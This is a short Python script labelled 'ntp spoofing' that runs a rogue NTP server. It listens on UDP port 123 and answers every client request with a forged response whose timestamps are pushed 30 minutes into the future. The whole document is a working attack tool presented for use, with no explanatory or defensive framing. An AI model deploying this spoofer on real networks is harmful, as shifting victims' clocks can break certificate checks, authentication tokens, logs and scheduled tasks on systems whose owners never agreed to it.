ntp spoofing

ntpspoof.py

import datetime
import socket
import struct

packet_format = (
    '!BBBB'  # LI+VN+Mode, Stratum, Poll, Precision
    'L'  # Root delay
    'L'  # Root dispersion
    'L'  # Reference identifier
)

def timestamp_to_64bit(timestamp):
    seconds, fractions = divmod(timestamp, 1.0)
    return struct.pack(
        '!LL',
        int(seconds),
        int(fractions * 0x100000000)
    )

reference_timestamp = (datetime.datetime.utcnow() -
                       datetime.datetime(1900, 1, 1)).total_seconds()

def make_packet(received):
    timestamp = (datetime.datetime.utcnow() +
                 datetime.timedelta(minutes=30) -
                 datetime.datetime(1900, 1, 1)).total_seconds()
    li = 0b00
    vn = 4
    mode = 4  # Server
    first_byte = (
        (li & 0b11) << 6 |
        (vn & 0b111) << 3 |
        (mode & 0b111) << 0)

    stratum = 3
    polling = 4
    precesion = 0xef
    root_delay = 0x00000000
    root_dispersion = 0x00000000
    reference_id = 0x00000000

    packet = struct.pack(
        packet_format,
        first_byte, stratum, polling, precesion,
        root_delay, root_dispersion, reference_id,
    )

    received_timestamp = received[40:48]

    packet += timestamp_to_64bit(reference_timestamp)
    packet += received_timestamp
    packet += timestamp_to_64bit(timestamp)
    packet += timestamp_to_64bit(timestamp)

    return packet


if __name__ == '__main__':
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(('0.0.0.0', 123))
    while 1:
        data, addr = sock.recvfrom(1024)
        sock.sendto(make_packet(data), addr)